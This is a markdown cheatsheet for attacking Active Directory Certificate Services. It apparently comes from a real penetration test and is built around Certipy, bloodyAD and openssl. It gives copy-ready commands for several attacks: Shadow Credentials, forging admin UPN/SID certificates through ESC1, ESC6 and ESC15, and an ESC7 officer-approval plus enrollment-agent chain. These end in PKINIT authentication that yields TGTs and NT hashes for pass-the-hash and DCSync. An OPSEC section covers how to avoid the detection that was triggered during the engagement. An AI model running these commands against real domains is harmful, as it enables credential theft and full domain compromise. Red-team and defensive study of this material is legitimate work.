This comprehensive ADCS cheatsheet provides systematic coverage of all certificate-based attack vectors in Active Directory environments, with enhanced focus on ESC5-ESC11, proper template analysis, and decision-making workflows for selecting appropriate attacks based on available access and permissions.
ADCS Enumeration & ESC Abuse with Certipy β Cheatsheet¶
Purpose: Linux-first, Kerberos-driven workflow for enumerating an enterprise PKI with Certipy, identifying ESC1/3/4/6/7/8/9/11/15 conditions, minting forged-SAN / on-behalf-of certs, and turning a .pfx into a TGT + NT hash via PKINIT β with the exact controls that contained it in a real multi-CA forest.
Prereqs / context: Domain-joined Linux operator box; certipy v4.8.2, impacket v0.14.0.dev, bloodyAD, openssl. Auth is Kerberos throughout (-k -no-pass + a ccache), no cleartext needed. Real environment was an 11-CA / ~69-template forest (4 child domains under a forest root); web enrollment disabled and RPC request-encryption enforced on every CA. Account-prefix shorthand used below: <FOOTHOLD>$ = controlled machine account, <SVC> = PKI service account, <ADMIN> = Tier-0 target, <TARGET>$ = victim computer.
0. Kerberos setup (machine-account context from a keytab)¶
sudo kinit -k -t /etc/krb5.keytab '<FOOTHOLD>$@<REALM>' # TGT for the operator box's own machine account
sudo cp /tmp/krb5cc_0 /tmp/krb5cc_machine # copy root's ccache to a readable path
sudo chmod 644 /tmp/krb5cc_machine # make it usable as your shell user
export KRB5CCNAME=/tmp/krb5cc_machine # point all impacket/certipy/bloodyAD here
klist # confirm principal + krbtgt service ticket
Match the ccache realm to the DC you query. A user ccache from one child domain against another domain's DC throws
KDC_ERR_WRONG_REALM(Reserved for future use)on every CA-config probe (see the notes below).
1. Enumerate the PKI β certipy find¶
certipy find -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -dc-ip <DC_IP> -target <DC_FQDN> -vulnerable -enabled -stdout # quick triage to terminal
certipy find -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -dc-ip <DC_IP> -output adcs -debug # full dump β adcs_Certipy.{txt,json,zip} (+BloodHound)
certipy find -u '<USER>@<DOMAIN>' -p '<USER_PW>' -dc-ip <DC_IP> -stdout # same with a password instead of ccache
-vulnerable -enabledfilters to enabled templates Certipy flags; drop-vulnerablefor the full picture β Certipy's analysis only reasons about your current identity, so it hides ESC1/ESC3 templates that a pivot identity (Domain Computers, a delegation group) could enroll. The real win came from re-reading the unfiltered-debugstanzas.- Certipy probes each CA's config first over CSRA (DCOM), then falls back to RRP (remote registry):
User Specified SAN,Request Disposition,Enforce Encryption for Requests,Web Enrollment, and CA-levelManageCa/ManageCertificates/EnrollACLs. CSRA returningE_ACCESSDENIEDis normal for a low-priv principal β RRP still recovers the config. -debugprintsAdding Domain Computers to list of current user's SIDsβ a tell that machine-account enrollment ACLs (ESC1/ESC3 carriers) are in play.
Read the CA table for these flags:
| CA flag | Meaning if set | ESC |
|---|---|---|
User Specified SAN : Enabled |
EDITF_ATTRIBUTESUBJECTALTNAME2 set β requester picks SAN |
ESC6 |
Request Disposition : Issue |
No manager approval at CA level | enables ESC1/6 |
Web Enrollment : Enabled |
HTTP/CES front-end (relay target) | ESC8 |
Enforce Encryption for Requests : Disabled |
Unauthenticated RPC enroll possible | ESC11 |
ManageCa / ManageCertificates to non-admins |
CA officer / config control | ESC7 |
2. Map templates to ESCs (what to grep the dump for)¶
- ESC1:
Enrollee Supplies Subject : True+ EKU includesClient Authentication(or Smart Card Logon / PKINIT / Any Purpose) +Requires Manager Approval : False+Authorized Signatures Required : 0, enrollable by you. - ESC2: EKU
Any Purpose(or empty) β sign anything. - ESC3: EKU
Certificate Request Agent(Enrollment Agent) β mint on-behalf-of others. - ESC4: you hold
Write/WriteDacl/WriteOwner(Write Property Principals, etc.) on the template object β rewrite it into an ESC1. - ESC9: template has
CT_FLAG_NO_SECURITY_EXTENSION(Enrollment Flag : NoSecurityExtension) β issued cert lacks the SID extension. - ESC15 / EKUwu (CVE-2024-49019): schema v1 template with
Enrollee Supplies Subjectβ inject application policies in the CSR.
certipy find ... -stdout | grep -A40 'Template Name' # eyeball stanzas
bloodyAD -d <DOMAIN> -u '<FOOTHOLD>$' -k 'ccache=/tmp/krb5cc_machine' --host <DC_FQDN> get search --base 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<PARENT>,DC=<TLD>' --filter '(objectClass=pKICertificateTemplate)' --attr cn,msPKI-Enrollment-Flag,msPKI-Certificate-Name-Flag,pKIExtendedKeyUsage # authoritative template flags from AD
bloodyAD ... get search --base 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=<PARENT>,DC=<TLD>' --filter '(objectClass=pKIEnrollmentService)' --attr cn,dnsHostName,certificateTemplates # CAβtemplate publish map
bloodyAD ... get search --base 'CN=Certificate Templates,...' --filter '(&(objectClass=pKICertificateTemplate)(msPKI-RA-Signature=*))' --attr cn,msPKI-RA-Signature,pKIExtendedKeyUsage,msPKI-RA-Application-Policies # find EA-gated (ESC3 on-behalf-of) target templates
Resolve enrollment-rights SIDs to names β ESC1 templates often look "locked" but the allowed group nests whole L2/L3 IT teams. Walk the group:
bloodyAD ... get object '<GROUP_DN>' --attr member memberOf.
3. Shadow Credentials (the cleanest foothold β key material)¶
If you hold msDS-KeyCredentialLink write over a computer/user (common in over-permissive ACL estates), this is the highest-signal-to-noise primitive and auto-rolls back:
certipy shadow auto -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -dc-ip <DC_IP> -target <DC_FQDN> -account '<TARGET>$' # add KCL β PKINIT β UnPAC NT hash β restore KCL
Output gives a .ccache (TGT) and the NT hash of <TARGET>$ for pass-the-hash / over-PtH. -target <DC_FQDN> is mandatory. Chain it: a machine account with KCL-write over a second computer in the same OU recovers that one's hash too.
4. ESC6 β User-Specified SAN (EDITF_ATTRIBUTESUBJECTALTNAME2)¶
When a CA has User Specified SAN : Enabled, you supply the SAN at request time on any template you can enroll. Certipy flags it verbatim:
ESC6 : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022
Confirm the CA actually honors the attacker SAN, then request:
certipy req -u '<FOOTHOLD>$@<DOMAIN>' -hashes :<NT_HASH> -ca '<CA>' -target <CA_HOST> -template '<TEMPLATE>' # baseline enroll (proves access)
certipy req -u '<FOOTHOLD>$@<DOMAIN>' -hashes :<NT_HASH> -ca '<CA>' -target <CA_HOST> -template '<TEMPLATE>' -upn '<ADMIN>@<DOMAIN>' # forge a UPN SAN
certipy req -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -ca '<CA>' -target <CA_HOST> -template '<TEMPLATE>' -dns '<DC_FQDN>' -upn '<ADMIN>@<DOMAIN>' -sid <DOMAIN_SID>-500 # forge UPN+DNS+SID
Certipy confirms with Got certificate with UPN '<ADMIN>@<DOMAIN>' / Certificate object SID is '<DOMAIN_SID>-...'. In this engagement the CA issued attacker-UPN and attacker-DNS certs successfully β but DA did not follow (see Β§8 and Gotchas): the issued cert still carried the requester's real SID extension.
5. ESC1 β Enrollee-Supplies-Subject + Client-Auth EKU¶
certipy req -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -ca '<CA>' -target <CA_HOST> -template '<ESC1_TEMPLATE>' -upn '<ADMIN>@<DOMAIN>' -sid <DOMAIN_SID>-500 # ESC1: arbitrary subject + Client Auth β impersonation cert
Always pass -sid on a patched CA β without it modern KDCs reject the cert at the binding check. The template must have a Client-Auth-class EKU; a Server-Auth-only template issues fine but is useless for PKINIT (KDC_ERR_INCONSISTENT_KEY_PURPOSE).
6. ESC15 / EKUwu (CVE-2024-49019) β application-policy injection on v1 templates¶
certipy req -u '<FOOTHOLD>$@<DOMAIN>' -k -no-pass -ca '<CA>' -target <CA_HOST> -template '<V1_TEMPLATE>' -application-policies 'Client Authentication' -upn '<ADMIN>@<DOMAIN>' # inject Client-Auth app policy
certipy req ... -template '<V1_TEMPLATE>' -application-policies '1.3.6.1.4.1.311.20.2.1' # inject Certificate Request Agent (EA) policy for an ESC3 pivot
Only works on schema v1 ESS templates; here the issuing CA stripped the injected application policy on v2 templates β no-op (immune/patched).
7. ESC7 β ManageCA / ManageCertificates (PKI-wide pivot)¶
If any principal you control holds ManageCertificates (officer/approve) or ManageCa (config) on a CA, you can approve your own denied requests and bootstrap an Enrollment-Agent cert. The full chain that took a PKI service account to forest root:
# (a) Submit an EA template you're NOT permitted to enroll β request is DENIED but a request ID + private key are saved
certipy req -u '<SVC>@<DOMAIN>' -k -ca '<CA>' -template '<EA_TEMPLATE>' -dc-ip <DC_IP> -target <CA_HOST> -out ea # β CERTSRV_E_TEMPLATE_DENIED (0x80094012); note "Request ID is <REQ>"
# (b) Officer-approve it via ESC7 ManageCertificates
certipy ca -u '<SVC>@<DOMAIN>' -k -dc-ip <DC_IP> -ca '<CA>' -target <CA_HOST> -issue-request <REQ> # β "Successfully issued certificate"
# (c) Retrieve the now-issued cert (certipy saves PEM .crt only, doesn't re-pair the .key)
certipy req -u '<SVC>@<DOMAIN>' -k -ca '<CA>' -dc-ip <DC_IP> -target <CA_HOST> -retrieve <REQ> -out ea # β ea.crt
# (d) Recombine key+cert into a usable PFX yourself
openssl pkcs12 -export -out ea.pfx -inkey ea.key -in ea.crt -passout pass: # β ea.pfx (EA cert, EKU Certificate Request Agent)
# (e) DUAL-CRED on-behalf-of: auth as a permitted enrollee (-k ccache) while signing with the EA cert (-pfx)
KRB5CCNAME=<machine>.ccache certipy req -u '<TARGET>$@<DOMAIN>' -k -ca '<FAS_CA>' -template '<FAS_TEMPLATE>' -on-behalf-of '<NETBIOS>\<ADMIN>' -pfx ea.pfx -dc-ip <DC_IP> -target <CA_HOST> -out victim # mint a cert AS <ADMIN>
ManageCa extras (config-side, DCOM only):
certipy ca -u '<SVC>@<DOMAIN>' -k -dc-ip <DC_IP> -ca '<CA>' -target <CA_HOST> -list-templates # what the CA runtime offers
certipy ca -u '<SVC>@<DOMAIN>' -k -dc-ip <DC_IP> -ca '<CA>' -target <CA_HOST> -dc-host <DC_FQDN> -enable-template '<TEMPLATE>' # publish a template (CA registry only!)
Split-brain gotcha:
-enable-templatewrites the CA's local registry but not the ADpKIEnrollmentService.certificateTemplatesattribute (that ACL is Enterprise-Admin-gated). Requests then failCERTSRV_E_UNSUPPORTED_CERT_TYPEbecause the AD-side lookup says the template isn't bound. ESC7 gives you DCOM ManageCa, not LDAP write β don't expect to fix it withbloodyAD/ldap3(insufficientAccessRightson LDAPS).
Cross-domain on-behalf-of needs the exact NETBIOS prefix β blank or FQDN both yield 0x80070547 "Denied by Policy Module":
bloodyAD -d <DOMAIN> -u '<SVC>' -k --host <DC_FQDN> get search --base 'CN=Partitions,CN=Configuration,DC=<PARENT>,DC=<TLD>' --filter '(&(objectClass=crossRef)(systemFlags:1.2.840.113556.1.4.803:=2))' --attr nETBIOSName,nCName,dnsRoot # enumerate forest NETBIOS β use '<PARENT_NETBIOS>\<ADMIN>$'
8. Authenticate with the PFX β PKINIT β TGT + NT hash¶
certipy auth -pfx victim.pfx -dc-ip <DC_IP> -domain <DOMAIN> # PKINIT β TGT (.ccache) + UnPAC NT hash
certipy auth -pfx victim.pfx -dc-ip <DC_IP> -domain <DOMAIN> -debug # add -debug to read the precise KDC error
certipy auth -pfx victim.pfx -dc-ip <DC_IP> -domain <DOMAIN> -ldap-shell # fall back to Schannel LDAP if PKINIT EKU is missing
- Auth must target a DC of the cert's own domain. A forest-root-DC cert PKINIT'd against a child DC IP returns
Wrong domain name specified '<PARENT>'; point-dc-ipat the root DC. - Success prints
Got TGT/Saved credential cache/Got hash for '...'. The hash is for pass-the-hash/DCSync (no cracking required).
What Went Wrong¶
| Symptom (verbatim) | Cause | Fix / meaning |
|---|---|---|
KDC_ERR_WRONG_REALM(Reserved for future use) on every CA config probe |
ccache realm β the -dc-ip DC's domain (queried with a child-domain user vs another child's DC) |
Use a ccache/DC of the same domain, or accept partial output (User Specified SAN : Unknown). |
CASessionError: 0x80070005 - E_ACCESSDENIED then Failed to connect to remote registry. Service should be starting now. Trying again... |
Low-priv principal can't read CA config via CSRA/DCOM | Normal β Certipy auto-falls back to RRP (remote registry) and recovers config. |
0x80094012 - CERTSRV_E_TEMPLATE_DENIED |
Not in the template's enrollment ACL | Pivot identity (shadow-cred a Domain Computer / delegation-group member), or ESC7 officer-approve. |
0x80094800 - CERTSRV_E_UNSUPPORTED_CERT_TYPE |
Template not published on that CA (or -enable-template split-brain) |
Pick a CA that publishes it; AD certificateTemplates must list it. |
0x80094809 - CERTSRV_E_SIGNATURE_POLICY_REQUIRED |
EA/RA template needs an existing EA signature to enroll (chicken-and-egg) | Bootstrap an EA cert elsewhere via ESC7, then use it as the -pfx signer. |
CERTSRV_E_BAD_RENEWAL_SUBJECT |
On-behalf-of target template has msPKI-RA-Signature = 0 |
Only EA-target templates with msPKI-RA-Signature β₯ 1 accept on-behalf-of. |
0x80070547 "Denied by Policy Module" (cross-domain) |
Wrong/blank/FQDN NETBIOS in -on-behalf-of |
Use exact <NETBIOS>\<principal> from the crossRef enum. |
KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found...) |
Forged UPN points at an account with no userPrincipalName (e.g. built-in Administrator) |
Target a principal that actually has a UPN, or use -sid. |
KDC_ERR_INCONSISTENT_KEY_PURPOSE(Certificate cannot be used for PKINIT client authentication) |
Cert's EKU is Server-Authentication only (no Client Auth) | The template, not the binding, is the wall. This rejection is UPSTREAM of the SID/binding check β it proves NOTHING about StrongCertificateBindingEnforcement. Don't over-claim "compatibility mode." |
Object SID mismatch between certificate and user '<ADMIN>' |
KB5014754 patched CA embedded the requester's SID in szOID_NTDS_CA_SECURITY_EXT, not the SAN target's |
A patched/enforcing DC maps by real SID β forgery yields your own identity. This is why ESC6 + ESC1-pattern templates did NOT yield DA. |
Authenticated to '...' as: None (LDAP/Schannel) |
Schannel cert-mapping enforces the same SID binding as PKINIT | Schannel is not a PKINIT bypass; anonymous bind = mapping rejected. |
whoami command failed, certificate seems not trusted by the Active Directory (passthecert.py) |
Server-Auth EKU and/or CA not trusted for client auth | Cert unusable for AD client auth β not a viable path. |
KDC_ERR_SERVICE_REVOKED on a structurally-valid Tier-0 cert |
Target in Protected Users / MFA (PhoneFactor) / NOT_DELEGATED / emergency hardening |
User-tier defense-in-depth working as designed. Pivot to a DC machine account (no MFA, can't be NOT_DELEGATED) if you have the chain. |
Certipy says Certificate has no object SID |
Misleading β the SID extension IS present, just for the wrong (requester) identity | Don't trust the message; inspect the actual SID in Certificate object SID is .... |
Which ESCs were live vs mitigated here:
- ESC6 β LIVE flag, contained: EDITF_ATTRIBUTESUBJECTALTNAME2 set on one CA; attacker UPN/DNS certs issued, but KB5014754 SID embedding + enforcing DC binding stopped the impersonation. Report as (High, config) "remove the flag" + (Verify) "confirm all DCs at StrongCertificateBindingEnforcement = 2."
- ESC1 β LIVE pattern, contained: ESS+ClientAuth+no-approval+0-sig templates existed but enrollment was scoped to delegation groups the foothold wasn't in (and Server-Auth-only templates it could hit failed on EKU). Latent DA path for any enrollment-group member; not demonstrated from the machine-account foothold.
- ESC3+ESC7 chain β LIVE end-to-end (separate foothold): a compromised PKI service account with ManageCertificates + an EA template whose enrollment ACL included Domain Computers, against a FAS CA in NTAuth, produced a DC-machine-account cert β PKINIT β forest root. Tier-0 user impersonation was still blocked by MFA/Protected Users; the DC machine account route bypassed that by design.
- ESC8 β MITIGATED: web enrollment disabled on all CAs.
- ESC11 β MITIGATED: RPC request encryption enforced on all CAs.
- ESC9 β MITIGATED: no NoSecurityExtension template present.
- ESC15/EKUwu β MITIGATED: app-policy injection stripped on v2 templates.
- ESC4 β MITIGATED: no template objects writable from the foothold.
Detection / OPSEC¶
- Cert issuance for a Tier-0/DA principal is high-signal β in this engagement an IR ticket opened ~20 min after a DA-named cert was minted (AD CS audit events 4886/4887 on the CA host). Avoid forging well-known DA names for proofs; use a benign owned account or a DC machine account.
certipy findtouches every CA via DCOM + remote registry (RemoteRegistry auto-start) and writes a BloodHound zip β noisy and disk-touching. Prefer targeted-stdoutover full-outputwhen stealth matters.- ESC7 officer-approve (
-issue-request) and-enable-templateare logged as privileged CA operations;-on-behalf-ofrequests show an EA signer β subject. - Shadow-cred via
shadow autowrites then restoresmsDS-KeyCredentialLink(DeviceID logged briefly); cleaner than manual add/remove.
Cleanup¶
certipy shadow autoself-reverts the KCL; if you usedshadow add, runcertipy shadow remove ... -account '<TARGET>$'(or restore the saved blob).- Revoke/track every issued cert by request ID; an ESC7 holder can
certipy ca ... -revoke-request <REQ>. Note serials for the client to revoke CA-side. - Delete local artifacts:
*.pfx *.crt *.key *.ccache *_Certipy.{txt,json,zip}. - Undo any
-enable-template(certipy ca ... -disable-template '<TEMPLATE>') and remove any ACEs/template edits you added.
References¶
- Certipy (Oliver Lyak / ly4k): https://github.com/ly4k/Certipy β
find,req,ca,auth,shadow,-on-behalf-of,-application-policies. - SpecterOps "Certified Pre-Owned" (ESC1βESC8 origin): https://posts.specterops.io/certified-pre-owned-d95910965cd2
- ESC9βESC11 / SID extension: https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-and-new-authentication-and-request-methods-d3b47004256
- ESC15 / EKUwu (CVE-2024-49019): https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc
- KB5014754 (certificate-based auth changes /
StrongCertificateBindingEnforcement, SIDszOID_NTDS_CA_SECURITY_EXT): https://support.microsoft.com/help/5014754 - bloodyAD: https://github.com/CravateRouge/bloodyAD β template/CA/group attribute reads, crossRef forest enum.
- impacket
passthecert.py(Schannel LDAP with a cert): https://github.com/fortra/impacket